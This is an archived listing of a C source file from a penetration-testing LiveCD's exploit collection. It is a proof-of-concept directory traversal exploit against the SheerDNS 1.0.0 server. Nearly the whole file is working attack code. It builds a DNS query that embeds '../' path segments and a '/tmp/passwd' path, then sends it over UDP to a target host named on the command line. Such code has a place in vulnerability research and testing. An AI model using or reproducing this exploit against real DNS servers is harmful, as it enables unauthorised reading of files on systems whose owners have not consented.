home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / sheerdns / dnsfake.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  146 lines

  1.  
  2. /*
  3.  * SheerDNS 1.0.0 directory traversal POC.
  4.  * Jedi/Sector One <j@pureftpd.org>
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <string.h>
  10. #include <getopt.h>
  11. #include <ctype.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #include <netdb.h>
  16.  
  17. void fill(char * const msg_, size_t *len)
  18. {
  19.     register char *msg = msg_;
  20.     
  21.     /* ID */
  22.     *msg++ = 2;
  23.     *msg++ = 4;
  24.     
  25.     /* QR/OPCODE/AA/TC/RD/RA/Z */
  26.     *msg++ = 5;
  27.     *msg++ = 0;
  28.     
  29.     /* QDCOUNT */
  30.     *msg++ = 0;
  31.     *msg++ = 1;
  32.  
  33.     /* ANCOUNT */
  34.     *msg++ = 0;
  35.     *msg++ = 0;
  36.  
  37.     /* NSCOUNT */
  38.     *msg++ = 0;
  39.     *msg++ = 0;
  40.  
  41.     /* ARCOUNT */
  42.     *msg++ = 0;
  43.     *msg++ = 0;
  44.     
  45.     /* QUERY */
  46.     
  47.     *msg++ = 3; strcpy(msg, "../"); msg += 3;
  48.     *msg++ = 2; strcpy(msg, "./"); msg += 2;
  49.     *msg++ = 2; strcpy(msg, "./"); msg += 2;
  50.     *msg++ = 2; strcpy(msg, "./"); msg += 2;
  51.     *msg++ = 2; strcpy(msg, "./"); msg += 2;    
  52.  
  53.     *msg++ = 12; strcpy(msg, "/tmp/passwd"); msg += 11; *msg++ = 0; 
  54.     
  55.     *msg++ = 0;
  56.     
  57.     /* QTYPE */
  58.     *msg++ = 0;
  59.     *msg++ = 1;
  60.     
  61.     /* QCLASS */
  62.     *msg++ = 0;
  63.     *msg++ = 1;
  64.     
  65.     /* FCS */
  66.     *msg++ = 0xc8;
  67.     *msg++ = 0x4c;
  68.     
  69.     /* STOP */
  70.     *msg++ = 0x7e;
  71.     
  72.     *len = (size_t) (msg - msg_);
  73. }
  74.  
  75. void usage(const char * const prgname)
  76. {
  77.     printf("Usage : %s [-s <source host>] -t <target host>\n",
  78.            prgname);
  79.     exit(0);
  80. }
  81.  
  82. int main(int argc, char *argv[])
  83. {
  84.     char msg[65500];
  85.     struct addrinfo hints, *res;
  86.     const char *source_host = NULL;
  87.     const char *target_host = NULL;
  88.     size_t len;
  89.     int kindy;
  90.     int fodder;
  91.     
  92.     while ((fodder = getopt(argc, argv, "s:t:")) != -1) {
  93.         switch (fodder) {
  94.         case 's' :
  95.             if ((source_host = strdup(optarg)) == NULL) {
  96.                 perror("strdup");
  97.                 return 1;
  98.             }
  99.             break;
  100.         case 't' :
  101.             if ((target_host = strdup(optarg)) == NULL) {
  102.                 perror("strdup");
  103.                 return 1;
  104.             }
  105.             break;
  106.         default :
  107.             usage(argv[0]);
  108.         }
  109.     }
  110.     if (source_host == NULL || target_host == NULL) {
  111.         usage(argv[0]);
  112.     }
  113.     fill(msg, &len);
  114.     memset(&hints, 0, sizeof hints);
  115.     hints.ai_family = AF_UNSPEC;
  116.     hints.ai_addr = NULL;
  117.     if ((fodder = getaddrinfo(source_host, NULL, &hints, &res)) != 0) {
  118.         fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
  119.         return 1;
  120.     }    
  121.     if ((kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
  122.         perror("socket");
  123.         return 1;
  124.     }
  125.     if (bind(kindy, (struct sockaddr *) res->ai_addr,
  126.              res->ai_addrlen) != 0) {
  127.         perror("bind");
  128.         return 1;
  129.     }
  130.     memset(&hints, 0, sizeof hints);
  131.     hints.ai_family = AF_UNSPEC;
  132.     hints.ai_addr = NULL;
  133.     if ((fodder = getaddrinfo(target_host, "domain", &hints, &res)) != 0) {
  134.         fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
  135.         return 1;
  136.     }
  137.     if (sendto(kindy, msg, len, 0, (const struct sockaddr *) res->ai_addr,
  138.                (socklen_t) res->ai_addrlen) <= (ssize_t) 0) {
  139.         perror("sendto");
  140.         return 1;
  141.     }
  142.     (void) close(kindy);
  143.     
  144.     return 0;
  145. }
  146.